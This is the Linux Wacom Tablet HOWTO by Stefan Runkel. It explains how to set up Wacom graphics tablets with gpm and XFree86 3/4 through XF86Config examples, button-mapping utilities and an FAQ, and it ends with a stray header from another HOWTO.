  • 6.3 Buttons
  • 6.4 Button Mapping with xmodmap for Devices in Core Mode
  • 6.5 Button Mapping with xinput for Devices in Extension Mode
  • 6.6 xsetmode - changing absolute / relative mode
  • 6.7 xsetpointer - setting the default core device
  • 6.8 Keys
  • 6.9 Utilities to use more than one tablet and for toggle support on / off

7. XFree FAQ - Problems And Questions

  • 7.1 Gnome and Gimp only work like a usual mouse, without pressure and tilt.
  • 7.2 Is the wheel of the mouse (cursor) supported ?
  • 7.3 How can I find out the intuos Serial Num of my tool ?
  • 7.4 How do I change the action of each button of my tool?
  • 7.5 How can I use the intuos/artpad/ultrapad macro area ?
  • 7.6 Is it possible to define multiple active areas on the same tablet ?
  • 7.7 Can I use more than one tablet at the same time ?
  • 7.8 The Wacom Driver eats my CPU Time. Any Hint ?
  • 7.9 The Cursor 'dances' around

8. Gpm FAQ - Problems And Questions

  • 8.1 NCurses programs only support cut and paste with my new gpm

9. Further Information / Used Documents


Wacom Tablet HOWTO: Copyright

 Next Previous Contents

1. Copyright

Copyright (c) 1999,2000 by Stefan Runkel Runkel@runkel-it.de

This document describes the installation of Wacom tablets under linux.
It may be distributed, at your choice, under either the terms of the GNU Public License version 2 or later or the standard Linux Documentation Project terms. These licenses should be available from where you got this document. Please note that since the LDP terms don't allow modification (other than translation), modified versions can be assumed to be distributed under the GPL.


Wacom Tablet HOWTO: Introduction

 Next Previous Contents

2. Introduction

Graphic tablets are now quite inexpensive and can help allot with the work of image manipulation. In addition to that what a mouse can do for you they have the following features:

  • pressure and tilt sensitivity
  • high resolution motion control
  • sub-pixel positioning
  • an input device that looks like and is handled like a normal Pen.

This document addresses mainly the products from Wacom, because I own 3 different products of them and because their products are highly available in the region of Europe.

Nevertheless I think it should be easy to adapt the shown concepts to other products.

I have written this document because I have not found a document about this subject which contained completely what I wanted to know. So I got small parts of information from various people in the net and assembled them to this HOWTO. Regarding the questions of my readers, I must realize that this document also is not complete and never will be. But from the same questions I can tell that it helped many people on the way, and each new question lets this HOWTO grow.

2.1 New Versions of this Document

The latest version of this document will be available at http://www.runkel-it.de/linux.htm.

2.2 Feedback and Corrections

Comments, corrections, and additions are greatly be appreciated. I can be contacted at:

Runkel@runkel-it.de or at RunkelEDV@t-online.de

2.3 Acknowledgements

I would like to thank all authors listed in the Further Information / used documents Section as well as everyone who answered my questions by email. This HOWTO reflects much of their work.


Wacom Tablet HOWTO: Requirements

 Next Previous Contents

3. Requirements

This chapter is about what is needed to get your tablet working.

3.1 Which Hardware is supported

First of all, you should have a tablet, of course. The following Wacom tablets are supported:

  • ArtZ II series (known in Europe as the UltraPad series - the same UltraPad name also was used for earlier tablets that only work partially.)
  • ArtPad II
  • PL300 (combined LCD screen and tablet)
  • Pen Partner
  • Graphire alias FAVO (mouse and pen, get at least the alpha 16 driver for full support from http://people.mandrakesoft.com/~flepied/projects/wacom/).
  • Intuos series (support may be only partial with the driver of your distribution, get updated alpha versions from Frederic Lepied's page: http://people.mandrakesoft.com/~flepied/projects/wacom/)

The older SD and HD series are not supported by the standard XFree86 driver, however, a modified driver that supports these devices as well some OEM products with embedded screens including the IBM Thinkpad 360 PE and Toshiba T200 is available from: http://hwr.nici.kun.nl/pen-computing/pen-computing-formats.html

USB-Devices
If ordering the wacom products intuos and graphire, you can choose between two different interfaces:
Serial and USB.

The Serial Interface

  • is available for a long time, so the drivers are more stable for it
  • can not supply power to the tablet. For graphire and small intuos, wacom made an interface wire that plugs between the ps/2 keyboard and the computer to grap that power. Bigger intuos tablets may use an AC-adapter.
  • does not require you to recompile the kernel or to load kernel modules.

The USB Interface

  • is newer, so the drivers may be still in development.
  • can supply power to the tablet, bigger intuos tablets nevertheless may use an AC-adapter.
  • may require you to recompile the kernel and / or to load kernel modules The section extra configuration steps later in this document tries to guide you through this process.

3.2 Which Software is needed

  • If you want support for the linux console, get the latest version of gpm from ftp://ftp.prosa.it/pub/gpm or from ftp://animal.unipv.it/pub/gpm (mirror)

  • If you want support for XFree86, use at least version 3.3.3.1 or get the latest from http://www.xfree.org

3.3 Which Software is supported

  • For the linux console, the only program I know is gpm.

  • For XFree, the keyword is XInput. This specification has to be supported by device drivers which provide extra information. In turn, XInput has to be understood by programs which want to use alternative pointer devices.

There is a big number of programs based on the gtk library. The gtk has XInput support and makes it very easy to use.
At least the following applications support XInput:

  • The Gimp - a powerful image manipulation program in the style of Photoshop. The 1.1.x instable development version includes XInput support as a standard feature. We are awaiting the next stable release, Version 1.2.x. Obtain Gimp from http://www.gimp.org , it really deserves it ! I am sure most of you know this and it was the reason to buy a tablet.

  • gsumi - a simple B/W drawing program that supports drawing / erasing with pressure and tilt sensitivity. Get it from the gsumi web page: http://www.gtk.org/~otaylor/gsumi/

  • xink (By Ralph Levien) - another rudimentary drawing program for X.

    xink is available from: ftp://kiwi.cs.berkeley.edu/pub/raph/xink.tar.gz

  • RasMol - a molecular visualization program that supports a hardware dial box using XInput. look at http://www.umass.edu/microbio/rasmol/distrib/rasman.htm .

  • xinput (by Frederic Lepied) - a very useful utility for configuring and testing XInput devices. xinput is available from: ftp://ftp.x.org/contrib/utilities/xinput-1.2.tar.gz

3.4 What has to be prepared if the Tablet connects to the USB-Port

USB-Support is done in the kernel. This means that you should be able to configure and recompile the kernel. If you do not know how, consult your local guru.

The Kernel

Make sure in the USB Support section of the kernel configuration you have the following set:

     --- USB Human Interface Devices (HID)
     <M>   USB Human Interface Device (full HID) support
     ...
     <M>   Wacom Intuos/Graphire tablet support
Now recompile the kernel, either load the wacom module (which would be in /lib/modules/<linux version>/kernel/drivers/usb/wacom.o), or reboot, and verify that the module was loaded:
     # grep -i wacom /var/log/boot.msg
     input0: Wacom Intuos 9x12 on usb1:2.0
On some system you may want to grep in /var/log/messages instead.

Note:
At least for the intuos series even the latest kernel (2.4.7 as of moment of writing) doesn't have the right Wacom USB driver, so you have to get the right one and recompile the stuff. See Semyon Sosin 's document for this.

I can not tell if wacom graphire works fine with the original driver. But take for sure that the shown __concepts__ will work for both wacom product lines.


Wacom Tablet HOWTO: Tablets as Mouse-Replacement for the Linux-Console

 Next Previous Contents

4. Tablets as Mouse-Replacement for the Linux-Console

4.1 Tablets and gpm

The gpm daemon supports allot of input devices, including tablets. If you want a list of the supported devices of your gpm, do a

gpm -t help
and you get it.

The Wacom driver of gpm 1.18.0 and below seems to be for the very old artpad models, the documentation does not say anything about this. I tested it with ultrapad, penpartner, graphire and intuos models but it did not work. I have rewritten the wacom driver for gpm, to use it you need at least gpm version 1.18.2 . Since 1.18.2, the old wacom driver has been replaced with my driver for wacom graphire, penpartner and ultrapad products.

However, if you own an old artpad, use gpm < 1.18.1 and try:

killall gpm ; gpm -t wacom -m /dev/ttyS0
and it should work.

If you own a graphire, use gpm > 1.18.1 instead and use

for the relative (mouse-like) mode:

killall gpm ; gpm -t wacom -o relative -m /dev/ttyS0
for the absolute (tablet-like) mode:
killall gpm ; gpm -t wacom -o absolute -m /dev/ttyS0

Of course, you get only the buttons and the movement function, pressure and tilt are not supported because they are not too useful in text-based applications.
There is no support for ultrapad macro buttons or graphire mouse wheel.

If you use gpm and XFree86, you may or may not run in problems, because normally a device can be opened only by one program at a time. There are two solutions for that:

  • The gpm repeater mode. If you start gpm with the "-R protocol" option, it will repeat all data it gets to the device /dev/gpmdata. Let us say, you have a ps2 type mouse and your gpm call looks like: gpm -t ps2 -Rmman then gpm gets your ps2 mouse data and tries to translate this into a mman packet, which it will emit to /dev/gpmdata. Unfortunately, gpm can translate to only a few protocols at the time of writing. Since gpm 1.18.1, these protocols to which can be translated are marked with an asterix at the first column. Again, do a gpm -t help to get the list.

    If you want to omit the translation and only get the data byte for byte, just call gpm -t ps2 -R raw . You can then make XFree use that second device by putting the line Device "/dev/gpmdata" in your XF86Config in the pointer section or the XInput section.

  • If you use startx, you can modify it that it does a gpm -k before the X-Server is started. This option kills a running gpm.


Wacom Tablet HOWTO: Tablets with XFree 3 and XFree 4

 Next Previous Contents

5. Tablets with XFree 3 and XFree 4

5.1 Required XFree Version

Minimum XFree version should be 3.3.3.1 because this version has extended XInput support, the second side switch works now and the blocking mouse effect has been fixed.

If you must use any prior version, XInput support should be available since 3.1.2.d.

XInput support in XFree is configured basically in a file called XF86Config. In most cases the XF86Config file is located in /etc or in /etc/x11. I will show now two very short configuration sections, the first works with XFree 3, the other is for XFree 4. I will explain then what can be changed and why this is needed.

5.2 Sample XF86Config snippet for XFree 3

Section "Module"
# Wacom Device Driver
Load "xf86Wacom.so"
EndSection

Section "XInput"
# Settings for Wacom pen
  SubSection "WacomStylus"    # type of input device
    Port "/dev/ttyS0"         # Serial Port
    DeviceName "Pen1"         # Name, choose it free
    Baudrate 9600             # Usable only for intuos
    Mode Absolute             # Map Tablet Area to Screen
    AlwaysCore                # See text
    HistorySize 200           # Buffer size for motion events
  EndSubSection

# Settings for Wacom eraser
  SubSection "WacomEraser"    # type of input device
    Port "/dev/ttyS0"         # Serial Port
    DeviceName "Eraser1"      # Name, choose it free
    Baudrate 9600             # Usable only for intuos
    Mode Absolute             # Map Tablet Area to Screen
    AlwaysCore                # See text
    HistorySize 200           # Buffer size for motion events
  EndSubSection

# Settings for Wacom cursor (mouse)
  SubSection "WacomCursor"    # type of input device
    Port "/dev/ttyS0"         # Serial Port
    DeviceName "Cursor"       # Name, choose it free
    Baudrate 9600             # Usable only for intuos
    Mode Absolute             # Map Tablet Area to Screen
    AlwaysCore                # See text
    HistorySize 200           # Buffer size for motion events
  EndSubSection

EndSection

5.3 Sample XF86Config snippet for XFree 4

# declare input devices, later defined
Section "ServerLayout"
        Identifier     "XFree86 Configured"
        Screen      0  "Screen0" 0 0
        InputDevice    "Mouse0"    "CorePointer"
        InputDevice    "Keyboard0" "CoreKeyboard"
        InputDevice    "pen1"      "AlwaysCore"
        InputDevice    "eraser1"   "AlwaysCore"
        InputDevice    "cursor1"   "AlwaysCore"
EndSection

Section "Module"
        Load  "extmod"
        Load  "xie"
        Load  "pex5"
        Load  "glx"
        Load  "dri"
        Load  "GLcore"
        Load  "dbe"
        Load  "record"
        Load  "wacom"       # Wacom Device Driver
EndSection

# Settings for wacom pen
Section "InputDevice"
        Identifier   "pen1"
        Driver       "wacom"
        Option       "Type" "stylus"
        Option       "Device" "/dev/ttyS0"
Endsection
# Settings for wacom eraser
Section "InputDevice"
        Identifier   "eraser1"
        Driver       "wacom"
        Option       "Type" "eraser"
        Option       "Device" "/dev/ttyS0"
Endsection
# Settings for wacom cursor (mouse)
Section "InputDevice"
        Identifier   "cursor1"
        Driver       "wacom"
        Option       "Type" "cursor"
        Option       "Device" "/dev/ttyS0"
Endsection

5.4 Syntax Difference between XFree 3 and XFree 4

Please notice the different syntax between XFree 3 and XFree 4:
In XFree 3 configuration is done in the section "XInput" with one subsection for each device. XFree 3 has keywords.
In XFree 4 configuration is done with one section "InputDevice" for each device. All Settings are "options", with one exception: the identifier statement. The Alwayscore option goes to the Serverlayout section.

Because the usage can be seen from the above examples, this difference will be considered as clear for the rest of the document.

5.5 Section Module

XInput support in XFree is reached due to the use of modules. The wacom device driver module file for XFree 3 is called xf86Wacom.so, for XFree 4 the filename changed to wacom_drv.o. The files are located usually in /usr/X11R6/lib/modules/ or in /usr/X11R6/lib/modules/input. We have to specify in the "Module" section that we want to load this driver (look at above snippets):

XFree 3: Load "xf86Wacom.so"
XFree 4: Load "wacom"

This has to appear only once per XF86Config file.

5.6 Device Type (XF3) and Type (XF4)

A physical device can be:

  • The tip of your pen
  • The eraser of your pen
  • A mouse like the Wacom products lens cursor, 4d-mouse, graphire-mouse
  • The airbrush

The penpartner and graphire products simply recognize the type of a device, but they can not distinguish them. For example, you can not use two different pens, say, one configured red and one configured blue - all what these products say is: "I found a pen tip on my surface", or "I found an Eraser on my surface", or "I found a mouse on my surface".

XInput maps the device types to devices, these device types are later specified in XF86Config. For XFree 3 this is a subsection in the section XInput, for XFree 4 this goes to individuell InputDevice sections.
The devicetypes are:

  • WacomStylus Tip of a pen or airbrush
  • WacomEraser Eraser of a pen or airbrush
  • WacomCursor Mice, like graphire mouse, lens cursor, 4d-mouse

As you can see from above examples, device types are specified with the keyword "Devicetype" in XFree 3 and with Option "Type" in XFree 4.

5.7 DeviceName (XF3) and Identifier (XF4)

You must give every configured device a unique name. This name will be used later in your program to talk to that device. You can choose this name free. This statement is mandantory. In XFree 3 you will use the "Devicename" keyword, in XFree 4 you will use the Identifier "name" keyword. Please notice that Identifier is not an Option !

5.8 Port (XF3) and Device (XF4)

XInput wants to know at which serial port this device can be found. This allows me to use two different tablets at the same time, for example a graphire connected to /dev/ttyS0 and a penpartner connected to /dev/ttyS1.

USB Tablets

USB is treated as a serial line too, so this statement is mandantory. If you connect your product to the USB, you have to specify this with Option USB.

Example how to use the USB-Port (XF4):

Section "InputDevice"
  Driver         "wacom"
  Identifier     "stylus"
  Option         "Device"        "/dev/input/event0"
  Option         "Type"          "stylus"
  Option         "Mode"          "absolute"
  Option         "USB"           "on"
  Option         "Tilt"          "on"
EndSection

Switching The Mouse Off

Most people use both, the mouse and the tablet for core pointer functions. However, if you want to switch your mouse off and only will use your tablet, here comes the trick for that:
First, specify AllowMouseOpenFail in section ServerFlags. Then set the device to a file which must not exist (fake or dummy). Do not set it to /dev/null as this will eat up your CPU-time.

Example how to switch off the mouse (XF3):

Section "Pointer"
   Device          "/dev/fake" #Phony device file
   ...
EndSection

Example how to switch off the mouse (XF4):

Section "ServerLayout"
        ...
        InputDevice    "Mouse0"    "CorePointer"
        ...
EndSection
Section "InputDevice"
        Identifier   "Mouse0"
        ...
        Option       "Device" "/dev/fake" #Phony
                                          #device file
Endsection

5.9 DebugLevel

This statement controls how verbose the Wacom driver is. The Level goes from 0 to 10. If this statement is not given, DebugLevel 0 is used, which logs the very less.

Example (XFree 3):

SubSection "WacomStyLus" # Pen
  DeviceName "PenRed"    # Name, choose it free
  ...
  DebugLevel 10          # be very verbose
  ...
EndSubSection

Example (XFree 4):

Section "InputDevice"
  Identifier "PenRed"            # Name, choose it free
  Option     "Type" "stylus"
  ...
  Option "DebugLevel" "10"       # be very verbose
  ...
EndSection

5.10 Serial Num (intuos series only)

The intuos product is more efficient than penpartner and graphire because it can distinguish many devices of the same type. This means that it is now possible to use two pens, one configured red and one configured blue. As you see, the use of device types is not enough information to handle different pens. Therefore, each intuos device, be it a pen, ink pen, mouse, or whatever has a serial number, which you can specify to aid XInput in resolving the right device. This would look like:

Example (XFree 3):

Section "XInput"
  SubSection "WacomStylus" # Pen
    DeviceName "PenRed"    # Name, choose it free
    ...
    Serial 2609917443      # Serial Number of that device
    ...
  EndSubSection
  SubSection "WacomStylus" # another Pen
    DeviceName "PenBlue"   # Name, choose it free
    ...
    Serial 2609918664      # Serial Number of that device
    ...
  EndSubSection
EndSection

Example (XFree 4):

Section "InputDevice"
  Identifier "PenRed"    # Name, choose it free
  Option     "Type"      "stylus"
  ...
  Option     "Serial"    "2609917443"
  ...
EndSection
Section "InputDevice"
  Identifier "PenBlue"   # Name, choose it free
  Option     "Type"      "stylus"
  ...
  Option     "Serial"    "2609918664"
  ...
EndSection

It should be said that combined input devices like pens have only one serial number. The driver uses the serial number it gets to recognize one specific pen and the device type to distinguish the tip of that specific pen from its eraser.

How to find out the serial number of a device

  1. Set DebugLevel to 6
  2. Start the X-Server by typing X 2>t
  3. Tip all devices down on the tablet and make a notice of the order you tipped them.
  4. Kill the X-Server (usually Ctrl+Alt+Backspace)
  5. Do a grep serial_num t

You should get a list of your different numbers.

Serial Num - Example of what has been logged (XFree 3)

BEGIN xf86WcmProc dev=0x8354d60 priv=0x833e3f0 type=stylus flags=9 what=1
xf86WcmProc pWcm=0x8354d60 what=ON
END xf86WcmProc Success what=1 dev=0x8354d60 priv=0x833e3f0
device_id=0x96 serial_num=2595227137 type=cursor
[cursor] abs prox=false x=0 y=0 z=0 button=false buttons=0
(serial_num is in Line 4 Word 2).

5.11 Mode absolute, Mode relative

If you set a device in mode absolute, this means, that the active area of the tablet will be mapped to the screen. Every time you go down to the tablet at the same point with an absolute device the pointer will appear at the same point of the screen.

If you set a device in mode relative, you will get the well known behavior of a mouse. This means, that if you take the mouse off from the surface, move it and go down again, the pointer does (ideally) not move.

Example (XFree 3):

Section "XInput"
  SubSection "WacomStylus"   # Pen
    DeviceName "PenRed"      # Name, choose it free
    ...
    Mode absolute
    ...
  EndSubSection
EndSection

Example (XFree 4):

Section "InputDevice"
  Identifier "PenRed"        # Name, choose it free
  Option     "Type"          "stylus"
  ...
  Option     "Mode"          "absolute"
  ...
EndSection

5.12 Device Modes Extension, Core, AlwaysCore

XFree knows two pointers: one with only the standard features (buttons, moving-capabilities), which is used for selecting menus, text, clicking buttons and doing other controlling stuff. This is the Core Device.

The other pointer is used by applications which want more information, like pressure and tilt.
This is the extension device.

Starting with version 3.3.3.1, the Statement AlwaysCore tells the driver that it should send both types of events.

If you do not specify Alwayscore in your XF86Config, then this device is initially used as extension device, this means it is usable only in applications but you can not control the menus of your window manager with it.

If Alwayscore is given, then your device acts as core pointer (in addition to the mouse) as well as it sends tilt and pressure information to applications which opened the device in extension mode.

You can configure two different logical devices, one in Core-Mode and one in Extension-Mode, to the same physical device.
To do so, simply type two identical sections, only the DeviceName statement must differ. Then specify AlwaysCore only for the last section.

Example (XFree 3):

Section "XInput"
  SubSection "WacomStylus"   # Pen
    DeviceName "PenRed"      # Name, choose it free
    ...
    AlwaysCore
    ...
  EndSubSection
EndSection

For XFree 4, this is not an option in the InputDevice section, it goes to the Serverlayout section and can be one of: AlwaysCore / SendCoreEvents or CorePointer:

Example (XFree 4):

Section "ServerLayout"
        Identifier     "XFree86 Configured"
        Screen      0  "Screen0" 0 0
        ...
        InputDevice    "icursor"   "AlwaysCore"
EndSection

5.13 HistorySize

This statement sets the buffer size that is used to cache motion events.

Example (XFree 3):

Section "XInput"
  SubSection "WacomStylus"   # Pen
    DeviceName "PenRed"      # Name, choose it free
    ...
    HistorySize 200
    ...
  EndSubSection
EndSection

Example (XFree 4):

Section "InputDevice"
  Identifier "PenRed"      # Name, choose it free
  Option     "Type"        "stylus"
  ...
  Option     "HistorySize" "200"
  ...
EndSection

5.14 Suppress

This statement specifies how many units the device must move before the driver moves the pointer. This can be necessary if very large resolutions are used.

Example (XFree 3):

Section "XInput"
  SubSection "WacomStylus"   # Pen
    DeviceName "PenRed"      # Name, choose it free
    ...
    Suppress 10
    ...
  EndSubSection
EndSection

Example (XFree 4):

Section "InputDevice"
  Identifier "PenRed"    # Name, choose it free
  Option     "Type"      "stylus"
  ...
  Option     "Suppress"  "10"
  ...
EndSection

5.15 TiltMode (XF3) and Tilt (XF4)

This works only with intuos series tablets.
TiltMode enables sending of tilt information for intuos devices. If this statement is missing, only pressure information is transferred.

Example (XFree 3):

Section "XInput"
  SubSection "WacomStylus"   # Pen
    DeviceName "PenRed"      # Name, choose it free
    ...
    TiltMode
    ...
  EndSubSection
EndSection

Example (XFree 4):

Section "InputDevice"
  Identifier "PenRed"    # Name, choose it free
  Option     "Type"      "stylus"
  ...
  Option     "Tilt"      "on"
  ...
EndSection

5.16 MaxX, MaxY, MaxZ (since alpha 20)

Max[axis] limits / owerwrites the max[axis] values normaly retrieved from the tablet. More or less developer stuff.

5.17 ResolutionX, ResolutionY, ResolutionZ (since alpha 20)

Resolution[axis] presets the resolution[axis] values normaly retrieved from the tablet. More or less developer stuff.

5.18 TopX, TopY, BottomX, BottomY Statements

These four statements allow to reduce the active area of the tablet. My intuos A4 oversize, for example, is so big that you can not do painting work with it because the ways of the pen are too long. I use these four Statements to tell the driver that it should map only the lower left quarter of the tablet to the screen.
It is possible to define more than one active area on the same tablet: Define as many subsections as you need with the same Port Statement but with different Top... statements and Devicenames. This results in multiple logical devices all of them restricted to their individual bounds. You may use one device in absolute mode and one in relative mode as well.

Example (XFree 3):

Section "XInput"
  SubSection "WacomStylus"   # Pen
    DeviceName "PenRed"      # Name, choose it free
    ...
    TopX 0
    TopY 5000
    BottomX 5000
    BottomY 10000
    ...
  EndSubSection
EndSection

Example (XFree 4):

Section "InputDevice"
  Identifier "PenRed"    # Name, choose it free
  Option     "Type"      "stylus"
  ...
  Option     "TopX"      "0"
  Option     "TopY"      "5000"
  Option     "BottomX"   "5000"
  Option     "BottomY"   "10000"
  ...
EndSection

Getting the maximal X, Y Values, current configuration, and the resolution

If you use the above four statements, you sometimes want to make some calculations on the size and position of the rectangle to be defined. Often the maximal tablet coordinates and the resolution are needed for this. To get these values, start your server: X 2>t. Kill the X-Server (usually Ctrl+Alt+Backspace) and do a grep "X=" t .You should get back the values in question.

Getting Resolution - Example of what has been logged

(--) Wacom IV tablet maximum X=5103 maximum Y=3711 X
     resolution=1000 Y resolution=1000 suppress=6
(--) Wacom tablet top X=0 top Y=0 bottom X=5103 bottom Y=3711
(--) Wacom tablet top X=0 top Y=0 bottom X=5103 bottom Y=3711
(--) Wacom tablet top X=0 top Y=0 bottom X=5103 bottom Y=3711

5.19 KeepShape

This option uses the TopX, TopY statements (or their built in defaults, if omitted) and adjusts the BottomX, BottomY statements so that

  • The ratio height / width of the screen is the same ratio on the tablet
  • The active area starting at TopX, TopY of the tablet is as big as it can be with the above condition.

Any given BottomX, BottomY statement is ignored, because these values will be calculated.

Example (XFree 3):

Section "XInput"
  SubSection "WacomStylus"   # Pen
    DeviceName "PenRed"      # Name, choose it free
    ...
    KeepShape
    ...
  EndSubSection
EndSection

Example (XFree 4):

Section "InputDevice"
  Identifier "PenRed"    # Name, choose it free
  Option     "Type"      "stylus"
  ...
  Option     "KeepShape" "1"
  ...
EndSection

5.20 Threshold

This is available since alpha 16 and is used to control the minimum pressure that is needed to detect that a tool is pressed on the surface. It works with intuos and graphire. Please note that the integer value has to be coded as String, unlike all other integer values.

Example (XFree 3):

Section "XInput"
  SubSection "WacomStylus"   # Pen
    DeviceName "PenRed"      # Name, choose it free
    ...
    Threshold "5"
    ...
  EndSubSection
EndSection

Example (XFree 4):

Section "InputDevice"
  Identifier "PenRed"   # Name, choose it free
  Option     "Type"     "stylus"
  ...
  Option     "Treshold" "5"
  ...
EndSection

5.21 USB (since alpha 20)

USB tells the driver that the serial line is the usb port. This needs a Kernel 2.4 with usb enabled. Alpha 20 driver only supports absolute devices. Here is an example for use with XFree 4.
Please read the Wacom-USB-mini-HOWTO by Arnauld Claden and the USB-'Micro-HOWTO' by Semyon Sosin for more information on USB setup.


Wacom Tablet HOWTO: Changing configuration from within a running X-Server

 Next Previous Contents

6. Changing configuration from within a running X-Server

6.1 Setting up the Gimp to use XInput devices

Gimp has built-in XInput support since Version 1.1.x.

Gimp must know which devices it should use and in what mode. You have to open the File/Dialogs/Input Devices - dialog for setting this up. You will find two listbox-controls at the top of that window labeled Device and Mode . Choose the device to set up from the Device control and choose a mode from the Mode -control.

The modes are:

  • disabled: Gimp does not use this device.
  • window:
    Gimp uses this device, the cursor is drawn by the application. The cursor can not leave the active window. The active area of the tablet is mapped to this window.
  • screen:
    Gimp uses this device. The cursor is drawn by the X-Server. The cursor can move over the whole screen. The active area of the tablet is mapped to the screen.

If you see two cursors linked to your device, you have two solutions:

  • Use mode screen but you may or may not loose the special gimp-tool cursors; If so, all cursors will be replaced by the pen cursor.
  • Configure two different devices in the XF86Config file, one AlwaysCore and one not. Tell gimp to use the later one in mode window. If you do so and have one of the statements TopX, TopY, BottomX, BottomY in your XF86Config, take care to use the same adjustments for that statements in both logical devices. If you do not, then you get confused because X draws a cursor of the one device while the other is active. the effect of this is a cursor, very far away from the point of action (hotspot).

Below the two listbox-controls there is a tab-control with the two register tabs Axes and Keys . Axes assigns an axis a function, it is mostly not necessary to change this. But think about a touch-screen device which is built in a table rotated by 90 degrees, then you might want to swap the x and y axis.

Some tablets have so called macro keys at the top which may hold some often used functions. The Keys tab lets you assign a character to a macro key. For example, you can put Ctrl+Shift+R, to a macro key. If you activate this key, then the rulers are toggled.
The current Wacom driver supports only the macro keys of the ultrapad series, the macro area of the intuos products is not yet usable for that.

Now we should talk about how the devices can be used. Open the File/Dialogs/Device Status -dialog. Open an image.

You set up each device independently from each other in gimp.

If you move the cursor with different devices in the image window you can see the devices change in the Device Status dialog. If you pick a tool, brush, pattern or color with a device, again the changes are reflected in the dialog. You can save the settings in the Status Dialog, so that they will be restored before your next session.

6.2 The Switch Device

This is a special device that is always present. It generates an event every time a new device becomes the core pointer. It has a pseudo "axis". The "value" of this axis is the id of the core pointer device. I do not know what a user can do with it - this is mainly helpful for internal use.

6.3 Buttons

The buttons of the devices are as different as the devices are:
A pen has at least a tip, but it may have one or two side switches and an eraser. A mouse may have up to 32 buttons (but usually 3). Buttons are numbered from 1 to the number of buttons. With the next two utilities you can change, to what number a button is mapped.

6.4 Button Mapping with xmodmap for Devices in Core Mode

xmodmap will only modify the Core Pointer. As there is only one Core pointer at a time, it makes no difference between the physical devices which may become the Core Pointer. You may set this device manually with xsetpointer device.

For the moment, let us forget the whole XInput stuff and think of a left-hander who just wants to swap the left and right mouse buttons. You would execute xmodmap -pp to look what the current assignment is. You should get the following table back:

Physical        Button
Button          Code
1              1      # ( Left   Button )
2              2      # ( Right  Button )
3              3      # ( Middle Button )

To swap the buttons, you do a xmodmap -e "pointer = 2 1 3" , and to get back, xmodmap -e "pointer = default" . This should work with every device with at least two buttons. Note that the term "pointer = x x x" has to be quoted to prevent it from being changed by the shell.

6.5 Button Mapping with xinput for Devices in Extension Mode

Back to XInput now. If you use the gimp, you may want to change the button mapping for each device separately (may be you are happy with the mouse but want to swap the two side-switches of the pen). Frederic Lepied has written a utility called xinput for that.

To swap the side-switches, you would do a xinput list to get a list of the devices and their current settings. Swapping is done with xinput set-button-map Pen1 1 3 2 where Pen1 is the Device to change.

Starting with XFree 3.3.2 this works also with devices that are configured AlwaysCore in XF86Config.

6.6 xsetmode - changing absolute / relative mode

With xsetmode you can change the mode of a device between absolute and relative.

Example:
xsetmode GraphireMouse ABSOLUTE .

6.7 xsetpointer - setting the default core device

If you have none of your devices configured AlwaysCore and you want a device to become the core-pointer, then xsetpointer must be used.

Do a xsetpointer Devicename . The old core-device (usually the mouse) is not usable anymore and the one you specified should be active. For example I can make the graphire mouse the standard core device from within a running XFree.

xsetpointer -l lists all devices and the modes they are in.

6.8 Keys

Some devices have macro keys or pads on them, to which a scancode or string may be assigned. This works only for devices in extension mode and is therefore done in the application you want use the keys with.

xinput -l gives information about the number of keys and things like the first scancode.

6.9 Utilities to use more than one tablet and for toggle support on / off

I own myself 3 tablets of Wacom and use them on my notebook. Whenever no tablets are connected and I start X, I have to wait very long until the driver gives up. If xdm is used, this increases to multiple of that timeouts.

I have written two utilities which should make live easier with that:

  • The shell script sx for those who use startx. sx uses the dialog tool to present a nice menu where the user can choose:
    • one of up to 10 devices (tablet, joystick, ...)
    • for notebooks, which display to use (internal or external display)
    • which window-manager to use

  • The small gtk-application xinput-chooser for those who use xdm. xinput-chooser presents the user a menu whenever the xdm login screen is shown, from which one of up to ten different configurations can be chosen.

The concept behind this is that a XF86Config file is split in at least a XF86Config.bare file, which holds the information common to all configurations, and various snippets, each of them holding the special information for a particular configuration.

The two utilities will then concat the parts back to a working configuration.

You can get this packet from http://www.runkel-it.de/download , it is named xinput_chooser_sr.


Wacom Tablet HOWTO: XFree FAQ - Problems And Questions

 Next Previous Contents

7. XFree FAQ - Problems And Questions

7.1 Gnome and Gimp only work like a usual mouse, without pressure and tilt. Gimp Input Devices Dialog shows "No Input Devices"

It seems that you have not compiled your gtk with XInput-support. Please rebuild gtk and use ./configure --with-xinput=xfree for building the Makefile. Then do a make && make install. Then rebuild your gimp so that it uses this extendet gtk.

7.2 Is the wheel of the mouse (cursor) supported ?

Yes, it generates button 4 and button 5 events.

7.3 How can I find out the intuos Serial Num of my tool ?

read the section about Serial_Num

7.4 How do I change the action of each button of my tool?

Read the section about buttons.

7.5 How can I use the intuos/artpad/ultrapad macro area ?

You can not use the intuos macro area, sorry.
Only Artpad / Ultrapad Macro stripes work. Read the section about Gimp Keys.

7.6 Is it possible to define multiple active areas on the same tablet ?

Yes, read the section about the Top... Statements

7.7 Can I use more than one tablet at the same time ?

Yes, read the 'Port and Device' section

7.8 The Wacom Driver eats my CPU Time. Any Hint ?

This mostly happes under the following condition:
AllowMouseOpenFail was specified and the device is set to /dev/null. Set the device to a nonexisting file instead, for example /dev/fake, and you will get back your CPU time. See the examples for this under the 'Port and Device' section.

Another reason may be that there were too many interrupts produced.
I was told, that hdparm -u1 /dev/hdx (replace x with your drive letter) may help.

7.9 The Cursor 'dances' around

Most Graphire's are known to be weak for that, intuos seems to be better but still not perfect. This seems to be a hardware problem.
Possible Solutions:

  • Put your tablet as far as possible away from all emitting devices like monitors, printers, computers, AC-adapters.
  • Use a modified driver with a filter algorythm. Many of them are in development right now but none of them seem to be the cruncher.
  • If using an IDE drive, try hdparm -u1 /dev/hdx (replace x with your drive letter)


Wacom Tablet HOWTO: Gpm FAQ - Problems And Questions

 Next Previous Contents

8. Gpm FAQ - Problems And Questions

8.1 NCurses programs only support cut and paste with my new gpm

You probably mixed a new gpm with an old gpm library. Or You use an old client which searches the socket gpmctl in /var/run instead in /dev. In the later case you have two options: get new clients and recompile them or change gpm.h so that it uses /var/run instead of /dev and recompile gpm and libgpm.


Wacom Tablet HOWTO: Further Information / Used Documents

 Next Previous Contents

9. Further Information / Used Documents

gpm:
gpm man page, gpm FAQ, source code file mice.c

XInput:
XInput HOWTO by Owen Taylor

XFree and Wacom:
XF86Config man page

Frederic Lepied's site

Wacom-USB-mini-HOWTO by Arnauld Claden

USB-'Micro-HOWTO' by Semyon Sosin (intuos related)

much, much, e-mails...


Wearable-HOWTO.

Lionel, trollhunter Bouchpan-Lerust-Juéry <trollhunter@linuxfr.org>

v0.0.9 November 2000

